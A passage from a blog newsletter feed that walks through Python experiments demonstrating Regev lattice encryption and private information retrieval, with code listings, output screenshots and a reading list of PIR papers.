</code></pre><p>here is an example of an output:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/451b782ea623827759a8bc2fe4ea28d9241b2fcb03f8f8946b701f89e3d10e6e.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h2 id="h-0110-experiment-iv-proving-that-the-secret-key-regev-encryption-scheme-supports-plaintext-inner-product" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">0110. experiment IV: proving that the secret key regev encryption scheme supports plaintext inner product</h2><p>this experiment shows that given a cipher <code>c</code> and a message vector <code>m0</code>, <code>c -&gt; c1</code> can be transformed such that it also encrypts the <strong>inner product</strong> of <code>m0</code> with a plaintext vector <code>k</code> of size <code>m</code> and element modulo <code>p</code>.</p><p>because of <strong>noise growth</strong> with the vector <code>k</code>, fine-tuning the initial parameters is crucial for the message to be successfully retrieved. as you will see in the snippet below, to guarantee correct decryption, the following must hold:</p><pre data-type="codeBlock" text="k * e0 &lt; mod / (2 * p)
"><code>k <span class="hljs-operator">*</span> e0 <span class="hljs-operator">&#x3C;</span> mod <span class="hljs-operator">/</span> (<span class="hljs-number">2</span> <span class="hljs-operator">*</span> p)
</code></pre><p>here is the source code:</p><pre data-type="codeBlock" text="def plaintext_inner_product() -&gt; None:
    &quot;&quot;&quot; 
        This method proves that the secret key Regev encryption scheme is
        supports plaintext inner product, i.e., if c0 encrypts m0 and c1
        encrypts m1, both under s, then c0 * c1 decrypts to m0 * m1.
    &quot;&quot;&quot;

    ########################################################################
    # 1. Key generation
    ########################################################################
    r0 = Regev()
    m0, A, e = r0.create_message_setup(this_mod = r0.p)
    s = r0.create_secret_key(this_mod = r0.p)

    ########################################################################
    # 2. Scale message vector by delta = mod / p
    ########################################################################
    scaled_m0 = m0.calculate_scaling(r0.mod, r0.p, r0.mod)

    ########################################################################
    # 3. Encryption by calculating B and ciphertext c
    ########################################################################
    c = r0.calculate_encryption(A, s, e, scaled_m0)

    ########################################################################
    # 4. Calculate a plaintext vector transposed k and then scale it by
    #    delta = mod / p
    ########################################################################
    rk = Regev()
    k = m0.create_random_message(rk.p, 1, rk.m )
    scaled_k = m0.calculate_scaling(1, 1, rk.mod)

    ########################################################################
    # 5. Calculate the noise growth 
    ########################################################################
    noise_growth = scaled_k * e

    ########################################################################
    # 6. Define the ciphertext of the inner product of m0 and k
    ########################################################################
    c1 = (scaled_k * c[0], scaled_k * c[1])

    ########################################################################
    # 7. Decrypt the ciphertext of the inner product of m0 and k
    ########################################################################
    m1 = r0.calculate_decryption(s, c1)

    ########################################################################
    # 8. Scale m1 vector by 1/ delta = p / mod
    ########################################################################
    m1_scaled = m1.calculate_scaling(r0.p, r0.mod, r0.p)

    ########################################################################
    # 9. Scale back the plaintext vector k by 1/ delta = p / mod
    ########################################################################
    scaled_scaled_k = scaled_k.calculate_scaling(1, 1, rk.p)

    ########################################################################
    # 10. The message vector m1 scaled should be equal scaled k * m0
    ########################################################################
    r0.print_results(m1_scaled, scaled_scaled_k * m0, &apos;scaled m1&apos;, &apos;scaled k * m0&apos;)

    ########################################################################
    # 11. Print results on noise, decryption fails when noise &gt; delta / 2 
    ########################################################################
    rk.print_noise_growth(m1_scaled, scaled_scaled_k * m0, noise_growth)
"><code>def plaintext_inner_product() <span class="hljs-operator">-</span><span class="hljs-operator">></span> None:
    <span class="hljs-string">""</span><span class="hljs-string">" 
        This method proves that the secret key Regev encryption scheme is
        supports plaintext inner product, i.e., if c0 encrypts m0 and c1
        encrypts m1, both under s, then c0 * c1 decrypts to m0 * m1.
    "</span><span class="hljs-string">""</span>

    ########################################################################
    # <span class="hljs-number">1.</span> Key generation
    ########################################################################
    r0 <span class="hljs-operator">=</span> Regev()
    m0, A, e <span class="hljs-operator">=</span> r0.create_message_setup(this_mod <span class="hljs-operator">=</span> r0.p)
    s <span class="hljs-operator">=</span> r0.create_secret_key(this_mod <span class="hljs-operator">=</span> r0.p)

    ########################################################################
    # <span class="hljs-number">2.</span> Scale message vector by delta <span class="hljs-operator">=</span> mod <span class="hljs-operator">/</span> p
    ########################################################################
    scaled_m0 <span class="hljs-operator">=</span> m0.calculate_scaling(r0.mod, r0.p, r0.mod)

    ########################################################################
    # <span class="hljs-number">3.</span> Encryption by calculating B and ciphertext c
    ########################################################################
    c <span class="hljs-operator">=</span> r0.calculate_encryption(A, s, e, scaled_m0)

    ########################################################################
    # <span class="hljs-number">4.</span> Calculate a plaintext vector transposed k and then scale it by
    #    delta <span class="hljs-operator">=</span> mod <span class="hljs-operator">/</span> p
    ########################################################################
    rk <span class="hljs-operator">=</span> Regev()
    k <span class="hljs-operator">=</span> m0.create_random_message(rk.p, <span class="hljs-number">1</span>, rk.m )
    scaled_k <span class="hljs-operator">=</span> m0.calculate_scaling(<span class="hljs-number">1</span>, <span class="hljs-number">1</span>, rk.mod)

    ########################################################################
    # <span class="hljs-number">5.</span> Calculate the noise growth 
    ########################################################################
    noise_growth <span class="hljs-operator">=</span> scaled_k <span class="hljs-operator">*</span> e

    ########################################################################
    # <span class="hljs-number">6.</span> Define the ciphertext of the inner product of m0 and k
    ########################################################################
    c1 <span class="hljs-operator">=</span> (scaled_k <span class="hljs-operator">*</span> c[<span class="hljs-number">0</span>], scaled_k <span class="hljs-operator">*</span> c[<span class="hljs-number">1</span>])

    ########################################################################
    # <span class="hljs-number">7.</span> Decrypt the ciphertext of the inner product of m0 and k
    ########################################################################
    m1 <span class="hljs-operator">=</span> r0.calculate_decryption(s, c1)

    ########################################################################
    # <span class="hljs-number">8.</span> Scale m1 vector by <span class="hljs-number">1</span><span class="hljs-operator">/</span> delta <span class="hljs-operator">=</span> p <span class="hljs-operator">/</span> mod
    ########################################################################
    m1_scaled <span class="hljs-operator">=</span> m1.calculate_scaling(r0.p, r0.mod, r0.p)

    ########################################################################
    # <span class="hljs-number">9.</span> Scale back the plaintext vector k by <span class="hljs-number">1</span><span class="hljs-operator">/</span> delta <span class="hljs-operator">=</span> p <span class="hljs-operator">/</span> mod
    ########################################################################
    scaled_scaled_k <span class="hljs-operator">=</span> scaled_k.calculate_scaling(<span class="hljs-number">1</span>, <span class="hljs-number">1</span>, rk.p)

    ########################################################################
    # <span class="hljs-number">10.</span> The message vector m1 scaled should be equal scaled k <span class="hljs-operator">*</span> m0
    ########################################################################
    r0.print_results(m1_scaled, scaled_scaled_k <span class="hljs-operator">*</span> m0, <span class="hljs-string">'scaled m1'</span>, <span class="hljs-string">'scaled k * m0'</span>)

    ########################################################################
    # <span class="hljs-number">11.</span> Print results on noise, decryption fails when noise <span class="hljs-operator">></span> delta <span class="hljs-operator">/</span> <span class="hljs-number">2</span> 
    ########################################################################
    rk.print_noise_growth(m1_scaled, scaled_scaled_k <span class="hljs-operator">*</span> m0, noise_growth)
</code></pre><p>here is an example of a successful decryption:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c92046dafff2a8ba2e150ecfd793f4ef5365ca4cd42369df8e40401c42128779.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p>now, changing <code>MOD_P</code> from 10 to 100, we see a failed decryption case, showing how noise growth can interfere with the results:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/e7131630c16e3245a622d3201887e0ade1c05623a7352f11cbffe30c546e8b60.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h2 id="h-0111-experiment-v-run-an-intro-tutorial-on-how-pir-should-work-without-encryption" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">0111. experiment V: run an intro tutorial on how PIR should work (without encryption)</h2><p>in this experiment, we get the first taste of how PIR works, but without encryption yet.</p><p>to do that, we define our server’s database by a square vector of size <code>m x m</code>, with each entry modulo <code>p</code>.</p><p>we query a value at a specific row <code>r</code> and col <code>c</code> in plaintext, by creating a query vector of size <code>m x 1</code> that is filled with <code>0</code>, except for the desired column index <code>c</code>.</p><p>we then show that computing the <strong>dot produc</strong>t of the database vector to the query vector will give a result vector with all rows in the column index <code>c</code>, where you can retrieve the row <code>r</code>.</p><p>here is the source code, located at <code>experiments/simple_pir.py</code>:</p><pre data-type="codeBlock" text="def no_encryption_example() -&gt; None:
    &quot;&quot;&quot;
        Run a tutorial presenting the logic of a PIR experiment 
        without encryption.
    &quot;&quot;&quot;

    ########################################################################
    # 1. Represent a database as a square matrix, where the columns are 
    #    the database entries and the rows are the database attributes
    ########################################################################
    log_debug(&apos;In this PIR tutorial, we represent a database as a square matrix, &apos; + 
        &apos;where columns are the database entries and rows are the database attributes.&apos;)
    
    log_debug(&apos;We start the class Message(), creating a random database &apos; +
                    &apos;with mod 500, and 20 entries and 20 attributes.\n&apos;)

    msg = Message()
    db = msg.create_random_message(500, 20, 20)
    
    log_debug(f&apos;db: {db}\n&apos;)

    ########################################################################
    # 2. Create some random query value for row and column
    ########################################################################
    log_debug(&apos;Now, let\&apos;s create a random query value for row and column. &apos; +
                                            &apos;Say, row 10 and column 10.&apos;)
    
    query_row = 10
    query_col = 10

    log_debug(f&apos;query_row: {query_row}, query_col: {query_col}\n&apos;)

    ########################################################################
    # 3. Create a message that is 5 at the query column and 0 elsewhere
    ########################################################################
    log_debug(&apos;Let\&apos;s create a query message vector, of size 500, that is 1 at &apos; +
                                            &apos;the query column and 0 elsewhere.&apos;)
    query = msg.create_zero_message(500, 20, 1)
    query.set_query_element(query_col, 0, 1)

    log_debug(f&apos;query vector: {query.message}&apos;)

    ########################################################################
    # 4. Compute resulting message vector
    ########################################################################
    log_debug(&apos;Let\&apos;s compute the resulting message vector, which is the &apos; +
                               &apos;dot product of the database and the query.&apos;)
    
    result = db * query
    log_debug(f&apos;result = db * query: {result}\n&apos;)

    ########################################################################
    # 5. Compute msg retrieved from the database
    ########################################################################
    log_debug(&apos;Finally, let\&apos;s compute the message retrieved from the database, &apos; + 
                    &apos;by getting the element at the query row and column.&apos;)
    log_debug(f&apos;db.get_query_element({query_row}, {query_col}): {db.get_query_element(query_row, query_col)}\n&apos;)

    log_debug(&apos;This should be the same as the result message vector element at the query row.&apos;)
    log_debug(f&apos;result.get_query_element({query_row}, 0): {result.get_query_element(query_row, 0)}\n&apos;)

    correct_retrieval = result.get_query_element(query_row, 0) == \
                        db.get_query_element(query_row, query_col)

    log_info(f&apos;Are they the same? Did we get a correct retrieval? {correct_retrieval}&apos;)
"><code>def no_encryption_example() <span class="hljs-operator">-</span><span class="hljs-operator">></span> None:
    <span class="hljs-string">""</span><span class="hljs-string">"
        Run a tutorial presenting the logic of a PIR experiment 
        without encryption.
    "</span><span class="hljs-string">""</span>

    ########################################################################
    # <span class="hljs-number">1.</span> Represent a database <span class="hljs-keyword">as</span> a square matrix, where the columns are 
    #    the database entries and the rows are the database attributes
    ########################################################################
    log_debug(<span class="hljs-string">'In this PIR tutorial, we represent a database as a square matrix, '</span> <span class="hljs-operator">+</span> 
        <span class="hljs-string">'where columns are the database entries and rows are the database attributes.'</span>)
    
    log_debug(<span class="hljs-string">'We start the class Message(), creating a random database '</span> <span class="hljs-operator">+</span>
                    <span class="hljs-string">'with mod 500, and 20 entries and 20 attributes.\n'</span>)

    <span class="hljs-built_in">msg</span> <span class="hljs-operator">=</span> Message()
    db <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.create_random_message(<span class="hljs-number">500</span>, <span class="hljs-number">20</span>, <span class="hljs-number">20</span>)
    
    log_debug(f<span class="hljs-string">'db: {db}\n'</span>)

    ########################################################################
    # <span class="hljs-number">2.</span> Create some random query value <span class="hljs-keyword">for</span> row and column
    ########################################################################
    log_debug(<span class="hljs-string">'Now, let\'s create a random query value for row and column. '</span> <span class="hljs-operator">+</span>
                                            <span class="hljs-string">'Say, row 10 and column 10.'</span>)
    
    query_row <span class="hljs-operator">=</span> <span class="hljs-number">10</span>
    query_col <span class="hljs-operator">=</span> <span class="hljs-number">10</span>

    log_debug(f<span class="hljs-string">'query_row: {query_row}, query_col: {query_col}\n'</span>)

    ########################################################################
    # <span class="hljs-number">3.</span> Create a message that <span class="hljs-keyword">is</span> <span class="hljs-number">5</span> at the query column and <span class="hljs-number">0</span> elsewhere
    ########################################################################
    log_debug(<span class="hljs-string">'Let\'s create a query message vector, of size 500, that is 1 at '</span> <span class="hljs-operator">+</span>
                                            <span class="hljs-string">'the query column and 0 elsewhere.'</span>)
    query <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.create_zero_message(<span class="hljs-number">500</span>, <span class="hljs-number">20</span>, <span class="hljs-number">1</span>)
    query.set_query_element(query_col, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>)

    log_debug(f<span class="hljs-string">'query vector: {query.message}'</span>)

    ########################################################################
    # <span class="hljs-number">4.</span> Compute resulting message vector
    ########################################################################
    log_debug(<span class="hljs-string">'Let\'s compute the resulting message vector, which is the '</span> <span class="hljs-operator">+</span>
                               <span class="hljs-string">'dot product of the database and the query.'</span>)
    
    result <span class="hljs-operator">=</span> db <span class="hljs-operator">*</span> query
    log_debug(f<span class="hljs-string">'result = db * query: {result}\n'</span>)

    ########################################################################
    # <span class="hljs-number">5.</span> Compute <span class="hljs-built_in">msg</span> retrieved <span class="hljs-keyword">from</span> the database
    ########################################################################
    log_debug(<span class="hljs-string">'Finally, let\'s compute the message retrieved from the database, '</span> <span class="hljs-operator">+</span> 
                    <span class="hljs-string">'by getting the element at the query row and column.'</span>)
    log_debug(f<span class="hljs-string">'db.get_query_element({query_row}, {query_col}): {db.get_query_element(query_row, query_col)}\n'</span>)

    log_debug(<span class="hljs-string">'This should be the same as the result message vector element at the query row.'</span>)
    log_debug(f<span class="hljs-string">'result.get_query_element({query_row}, 0): {result.get_query_element(query_row, 0)}\n'</span>)

    correct_retrieval <span class="hljs-operator">=</span> result.get_query_element(query_row, <span class="hljs-number">0</span>) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> \
                        db.get_query_element(query_row, query_col)

    log_info(f<span class="hljs-string">'Are they the same? Did we get a correct retrieval? {correct_retrieval}'</span>)
</code></pre><p>here is an example of an output:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/40bf587c7202146c7b01f5ee9126f6e8399288c0163241277caa6e0b4961b75d.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><hr><h2 id="h-1000-experiment-vi-run-a-simple-pir-experiment-with-secret-key-regev-encryption" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">1000. experiment VI: run a simple PIR experiment with secret key regev encryption</h2><p>we are ready to run our first full PIR experiment, where we build a query vector as in the previous experiment, but encrypt it using the secret key <code>s</code> from the regev encryption scheme.</p><p>here is the source code:</p><pre data-type="codeBlock" text="def secret_key_regev_example() -&gt; None:
    &quot;&quot;&quot;Run a secret key Regev encryption and decryption PIR experiment.&quot;&quot;&quot;
    ########################################################################
    # 1. Represent a database as a square matrix, where the columns are 
    #    the database entries and the rows are the database attributes
    ########################################################################
    
    regev = Regev()
    msg = Message()

    log_debug(&apos;1. We start creating a random message vector &apos; + 
                                 &apos;as a square m x m database with mod p&apos;)
    
    db = msg.create_random_message(regev.p, regev.m, regev.m)
    log_debug(f&apos;db: {db}\n&apos;)

    ########################################################################
    # 2. Create some random query value for row and column
    ########################################################################
    log_debug(&apos;2. Now, let\&apos;s create a random query value for row and column.&apos;)
   
    query_row = 5
    query_col = 5

    log_debug(f&apos;query_row: {query_row}, query_col: {query_col}\n&apos;)

    ########################################################################
    # 3. Create query message vector
    ########################################################################
    log_debug(&apos;3. Let\&apos;s create a query message vector, of size m, that is 1 at &apos; +
                                            &apos;the query column and 0 elsewhere.&apos;)                

    query = msg.create_zero_message(regev.mod, regev.m, 1)
    query.set_query_element(query_col, 0, 1)

    log_debug(f&apos;query vector: {query.message}\n&apos;)

    ########################################################################
    # 4. Encrypt query message vector
    ########################################################################
    log_debug(&apos;4. Let\&apos;s encrypt the query message vector, calculating A and e.&apos;)
   
    _, A, e = regev.create_message_setup()

    # Here we could either use mod or p as the scaling factor.
    s = regev.create_secret_key()

    log_debug(f&apos;The secret key s: {s}&apos;)

    ########################################################################
    # 5. Scale query vector by delta = mod / p and db vector from p to mod
    ########################################################################
    log_debug(&apos;5. We scale the query vector by delta=mod/p and db vector to 1/p&apos;)

    scaled_query = query.calculate_scaling(regev.mod, regev.p, regev.mod)
    scaled_db = db.calculate_scaling(1, 1, regev.mod)

    log_debug(f&apos;scaled_query: {scaled_query}&apos;)
    log_debug(f&apos;scaled_db: {scaled_db}\n&apos;)

    ########################################################################
    # 6. Encryption by calculating B and ciphertext c
    ########################################################################
    log_debug(&apos;6. Let\&apos;s encrypt the query vector by calculating B and ciphertext c.&apos;)
    c_query = regev.calculate_encryption(A, s, e, scaled_query)

    log_debug(f&apos;c_query: {c_query}\n&apos;)

    ########################################################################
    # 7. Compute encrypted result
    ########################################################################
    log_debug(&apos;7. Let\&apos;s compute the encrypted result by calculating the dot &apos; +
                 &apos;product of the encrypted query and the encrypted database.&apos;) 

    c_result = (scaled_db * c_query[0], scaled_db * c_query[1])

    log_debug(f&apos;c_result: {c_result}\n&apos;)

    ########################################################################
    # 8. Calculate the decryption of the ciphertext c_result to find the
    #    result of the PIR query at the query_col th column
    ########################################################################
    log_debug(&apos;8. Let\&apos;s calculate the decryption of the ciphertext c_result&apos;)                 
    m1 = regev.calculate_decryption(s, c_result)

    log_debug(f&apos;m1: {m1}\n&apos;) 

    ########################################################################
    # 9. Scale the result by p / mod
    ########################################################################
    log_debug(&apos;9. Let\&apos;s scale the result by p / mod.&apos;)
    m1_scaled = m1.calculate_scaling(regev.p, regev.mod, regev.p)

    log_debug(f&apos;m1_scaled: {m1_scaled}\n&apos;)

    ########################################################################    
    # 10. The message vector m1_scaled should be equal to the db at the 
    # query vector query_row, query_col, showing that PIR works.
    ########################################################################
    log_debug(&apos;10. The message vector m1_scaled should be equal to the db at &apos; +
               &apos;the query vector query_row, query_col, showing that PIR works.&apos;)  

    log_debug(f&apos;db.get_query_element({query_row}, {query_col}): {db.get_query_element(query_row, query_col)}&apos;) 
    log_debug(f&apos;m1_scaled.get_query_element({query_row}, 0): {m1_scaled.get_query_element(query_row, 0)}\n&apos;)            

    correct_retrieval = m1_scaled.get_query_element(query_row, 0) == \
                        scaled_db.get_query_element(query_row, query_col)

    log_info(f&apos;Are they the same? Did we get a correct retrieval? {correct_retrieval}\n&apos;)
"><code>def secret_key_regev_example() <span class="hljs-operator">-</span><span class="hljs-operator">></span> None:
    <span class="hljs-string">""</span><span class="hljs-string">"Run a secret key Regev encryption and decryption PIR experiment."</span><span class="hljs-string">""</span>
    ########################################################################
    # <span class="hljs-number">1.</span> Represent a database <span class="hljs-keyword">as</span> a square matrix, where the columns are 
    #    the database entries and the rows are the database attributes
    ########################################################################
    
    regev <span class="hljs-operator">=</span> Regev()
    <span class="hljs-built_in">msg</span> <span class="hljs-operator">=</span> Message()

    log_debug(<span class="hljs-string">'1. We start creating a random message vector '</span> <span class="hljs-operator">+</span> 
                                 <span class="hljs-string">'as a square m x m database with mod p'</span>)
    
    db <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.create_random_message(regev.p, regev.m, regev.m)
    log_debug(f<span class="hljs-string">'db: {db}\n'</span>)

    ########################################################################
    # <span class="hljs-number">2.</span> Create some random query value <span class="hljs-keyword">for</span> row and column
    ########################################################################
    log_debug(<span class="hljs-string">'2. Now, let\'s create a random query value for row and column.'</span>)
   
    query_row <span class="hljs-operator">=</span> <span class="hljs-number">5</span>
    query_col <span class="hljs-operator">=</span> <span class="hljs-number">5</span>

    log_debug(f<span class="hljs-string">'query_row: {query_row}, query_col: {query_col}\n'</span>)

    ########################################################################
    # <span class="hljs-number">3.</span> Create query message vector
    ########################################################################
    log_debug(<span class="hljs-string">'3. Let\'s create a query message vector, of size m, that is 1 at '</span> <span class="hljs-operator">+</span>
                                            <span class="hljs-string">'the query column and 0 elsewhere.'</span>)                

    query <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.create_zero_message(regev.mod, regev.m, <span class="hljs-number">1</span>)
    query.set_query_element(query_col, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>)

    log_debug(f<span class="hljs-string">'query vector: {query.message}\n'</span>)

    ########################################################################
    # <span class="hljs-number">4.</span> Encrypt query message vector
    ########################################################################
    log_debug(<span class="hljs-string">'4. Let\'s encrypt the query message vector, calculating A and e.'</span>)
   
    <span class="hljs-keyword">_</span>, A, e <span class="hljs-operator">=</span> regev.create_message_setup()

    # Here we could either use mod or p <span class="hljs-keyword">as</span> the scaling factor.
    s <span class="hljs-operator">=</span> regev.create_secret_key()

    log_debug(f<span class="hljs-string">'The secret key s: {s}'</span>)

    ########################################################################
    # <span class="hljs-number">5.</span> Scale query vector by delta <span class="hljs-operator">=</span> mod <span class="hljs-operator">/</span> p and db vector <span class="hljs-keyword">from</span> p to mod
    ########################################################################
    log_debug(<span class="hljs-string">'5. We scale the query vector by delta=mod/p and db vector to 1/p'</span>)

    scaled_query <span class="hljs-operator">=</span> query.calculate_scaling(regev.mod, regev.p, regev.mod)
    scaled_db <span class="hljs-operator">=</span> db.calculate_scaling(<span class="hljs-number">1</span>, <span class="hljs-number">1</span>, regev.mod)

    log_debug(f<span class="hljs-string">'scaled_query: {scaled_query}'</span>)
    log_debug(f<span class="hljs-string">'scaled_db: {scaled_db}\n'</span>)

    ########################################################################
    # <span class="hljs-number">6.</span> Encryption by calculating B and ciphertext c
    ########################################################################
    log_debug(<span class="hljs-string">'6. Let\'s encrypt the query vector by calculating B and ciphertext c.'</span>)
    c_query <span class="hljs-operator">=</span> regev.calculate_encryption(A, s, e, scaled_query)

    log_debug(f<span class="hljs-string">'c_query: {c_query}\n'</span>)

    ########################################################################
    # <span class="hljs-number">7.</span> Compute encrypted result
    ########################################################################
    log_debug(<span class="hljs-string">'7. Let\'s compute the encrypted result by calculating the dot '</span> <span class="hljs-operator">+</span>
                 <span class="hljs-string">'product of the encrypted query and the encrypted database.'</span>) 

    c_result <span class="hljs-operator">=</span> (scaled_db <span class="hljs-operator">*</span> c_query[<span class="hljs-number">0</span>], scaled_db <span class="hljs-operator">*</span> c_query[<span class="hljs-number">1</span>])

    log_debug(f<span class="hljs-string">'c_result: {c_result}\n'</span>)

    ########################################################################
    # <span class="hljs-number">8.</span> Calculate the decryption of the ciphertext c_result to find the
    #    result of the PIR query at the query_col th column
    ########################################################################
    log_debug(<span class="hljs-string">'8. Let\'s calculate the decryption of the ciphertext c_result'</span>)                 
    m1 <span class="hljs-operator">=</span> regev.calculate_decryption(s, c_result)

    log_debug(f<span class="hljs-string">'m1: {m1}\n'</span>) 

    ########################################################################
    # <span class="hljs-number">9.</span> Scale the result by p <span class="hljs-operator">/</span> mod
    ########################################################################
    log_debug(<span class="hljs-string">'9. Let\'s scale the result by p / mod.'</span>)
    m1_scaled <span class="hljs-operator">=</span> m1.calculate_scaling(regev.p, regev.mod, regev.p)

    log_debug(f<span class="hljs-string">'m1_scaled: {m1_scaled}\n'</span>)

    ########################################################################    
    # <span class="hljs-number">10.</span> The message vector m1_scaled should be equal to the db at the 
    # query vector query_row, query_col, showing that PIR works.
    ########################################################################
    log_debug(<span class="hljs-string">'10. The message vector m1_scaled should be equal to the db at '</span> <span class="hljs-operator">+</span>
               <span class="hljs-string">'the query vector query_row, query_col, showing that PIR works.'</span>)  

    log_debug(f<span class="hljs-string">'db.get_query_element({query_row}, {query_col}): {db.get_query_element(query_row, query_col)}'</span>) 
    log_debug(f<span class="hljs-string">'m1_scaled.get_query_element({query_row}, 0): {m1_scaled.get_query_element(query_row, 0)}\n'</span>)            

    correct_retrieval <span class="hljs-operator">=</span> m1_scaled.get_query_element(query_row, <span class="hljs-number">0</span>) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> \
                        scaled_db.get_query_element(query_row, query_col)

    log_info(f<span class="hljs-string">'Are they the same? Did we get a correct retrieval? {correct_retrieval}\n'</span>)
</code></pre><p>here is an example of an output when you run this experiment:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/d1440b64f061fa6eb24fedece23a5409a0500f981b5d17362edcf3337b3927c7.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h3 id="h-did-i-convince-you-that-pir-or-more-properly-math-feels-just-like-magick" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">did i convince you that PIR (or, more properly, math) feels just like magick?</h3><hr><h2 id="h-1001-concluding-thoughts" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">1001. concluding thoughts</h2><p>if you would like to learn more about PIR, here are some canonical papers:</p><ul><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://arxiv.org/pdf/2304.14397.pdf">private information retrieval and its applications, sajani vithana et al.</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://uwspace.uwaterloo.ca/bitstream/handle/10012/6142/Olumofin_Femi.pdf?sequence=1&amp;isAllowed=y">practical private information retrieval, femi george olumofin</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://ethz.ch/content/dam/ethz/special-interest/infk/inst-infsec/appliedcrypto/education/theses/How_practical_is_single_server_private_information_retrieval_corrected.pdf">how practical is single-server private information retrieval?, sophia artioli</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.computer.org/csdl/proceedings-article/cvcbt/2019/366900a060/1cdOwKCMqXK">applying private information retrieval to lightweight bitcoin clients, kaihua oin et al.</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://link.springer.com/content/pdf/10.1007/3-540-48910-X_28.pdf">computationally PIR with polylogarithmic communication, c. cachin et al.</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://eprint.iacr.org/2023/452.pdf">single-database PIR with constant communication rate, c. gentry et al.</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://crypto.stanford.edu/~dabo/pubs/abstracts/2dnf.html">evaluating s-dnf formulas on ciphertexts, d. boneh et al.</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.cs.bgu.ac.il/~beimel/Papers/BIM.pdf">reducing the servers’ computation in PIR retrieval, a. beimel et al.</a></p></li><li><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://eprint.iacr.org/2023/452.pdf">piano, extremely simple, single-Server PIR with sublinear server computation, m. zhou et al.</a></p></li></ul><hr><h2 id="h-motherofbotseth" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><strong>◻️ motherofbots.eth</strong></h2>]]></content:encoded>
            <author>go-outside@newsletter.paragraph.com (bt3gl's symposium)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/5f562a7cc7d3df397b3001a27235ff05478e135f88135ac816fb7909c79e4006.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[on my loot-based erc-721 collection for filmmaker dao]]></title>
            <link>https://paragraph.com/@go-outside/on-my-loot-based-erc-721-collection-for-filmmaker-dao</link>
            <guid>FscfAmoQM20Qd1ueYuke</guid>
            <pubDate>Mon, 12 Jun 2023 03:47:19 GMT</pubDate>
            <description><![CDATA[tl; drtoday i go over the smart contract i created two years ago for a nft collection celebrating the sunset of filmmaker dao. it was called the “storytelling card”, and folks were able to generate their unique nfts on the fly by inputting an int up to 1337:.the collection is still alive at generativestory.com.my contract was loosely based on the loot project, and it deployed a (sort of) generative erc-721 collection in the ethereum mainnet (for the cost of ~$2k or so). here is the source cod...]]></description>
